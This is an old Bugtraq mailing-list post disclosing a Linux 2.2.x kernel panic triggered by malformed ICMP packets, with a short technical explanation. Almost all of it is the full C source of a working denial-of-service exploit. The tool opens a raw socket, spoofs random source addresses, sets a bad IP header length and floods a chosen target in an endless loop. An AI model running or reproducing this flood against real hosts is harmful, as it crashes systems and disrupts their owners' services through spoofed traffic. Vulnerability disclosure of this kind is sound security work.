Date:	Tue, 1 Jun 1999 17:43:17 +0200
From:	Piotr Wilkin <pwl@WOTAN.2SLO.WAW.PL>
Subject:      Linux kernel 2.2.x vulnerability/exploit
To:	BUGTRAQ@NETSPACE.ORG

I'm sorry if this has been noticed before, but since I did't find anything
in the archives, I post it here.
There seems to be a bug in kernels 2.2.x (tested on 2.2.7 and 2.2.9), that
causes them to panic when they are sent a large number of specific ICMP
packages. I think the problem comes from the combination of the mangled
header length (shorter or longer ihl's don't cause hangup) and the random
ICMP packets (random type/subtype and source address) this program sends.
Windows 9x and FreeBSD 3.0 seem to be unaffected.


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Here is the program source (under Linux):

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>

struct icmp_hdr
{
    struct iphdr iph;
    struct icmp icp;
    char text[1002];
} icmph;

int in_cksum(int *ptr, int nbytes)
{
    long sum;
    u_short oddbyte, answer;
    sum = 0;
    while (nbytes > 1)
    {
	sum += *ptr++;
	nbytes -= 2;
    }
    if (nbytes == 1)
    {
	oddbyte = 0;
	*((u_char *)&oddbyte) = *(u_char *)ptr;
	sum += oddbyte;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return(answer);
}

struct sockaddr_in sock_open(char *address, int socket, int prt)
{
	struct hostent *host;
	if ((host = gethostbyname(address)) == NULL)
	{
		perror("Unable to get host name");
		exit(-1);
	}	
	struct sockaddr_in sin;
	bzero((char *)&sin, sizeof(sin));
	sin.sin_family = PF_INET;
	sin.sin_port = htons(prt);
	bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
	return(sin);
}

void main(int argc, char **argv)
{
	int sock, i, ctr, k;
	int on = 1;
	struct sockaddr_in addrs;
	if (argc < 3)
	{
		printf("Usage: %s <ip_addr> <port>\n", argv[0]);
		exit(-1);
	}
	for (i = 0; i < 1002; i++)
	{
	    icmph.text[i] = random() % 255;
	}
	sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
	{
	    perror("Can't set IP_HDRINCL option on socket");
	}
	if (sock < 0)
	{
	    exit(-1);
	}
	fflush(stdout);
	for (ctr = 0;ctr < 1001;ctr++)
	{
	    ctr = ctr % 1000;
            addrs = sock_open(argv[1], sock, atoi(argv[2]));
	    icmph.iph.version = 4;
	    icmph.iph.ihl = 6;
	    icmph.iph.tot_len = 1024;
	    icmph.iph.id = htons(0x001);
	    icmph.iph.ttl = 255;
	    icmph.iph.protocol = IPPROTO_ICMP;
	    icmph.iph.saddr = ((random() % 255) * 255 * 255 * 255) +
	    ((random() % 255) * 65535) +
	    ((random() % 255) * 255) +
	    (random() % 255);
	    icmph.iph.daddr = addrs.sin_addr.s_addr;
	    icmph.iph.frag_off = htons(0);
	    icmph.icp.icmp_type = random() % 14;
	    icmph.icp.icmp_code = random() % 10;
	    icmph.icp.icmp_cksum = 0;
	    icmph.icp.icmp_id = 2650;
	    icmph.icp.icmp_seq = random() % 255;
	    icmph.icp.icmp_cksum = in_cksum((int *)&icmph.icp, 1024);
	    if (sendto(sock, &icmph, 1024, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1)
	    {
	    	if (errno != ENOBUFS) printf("X");
	    }
	    if (ctr == 0) printf("b00m ");
	    fflush(stdout);
	}
	close(sock);
}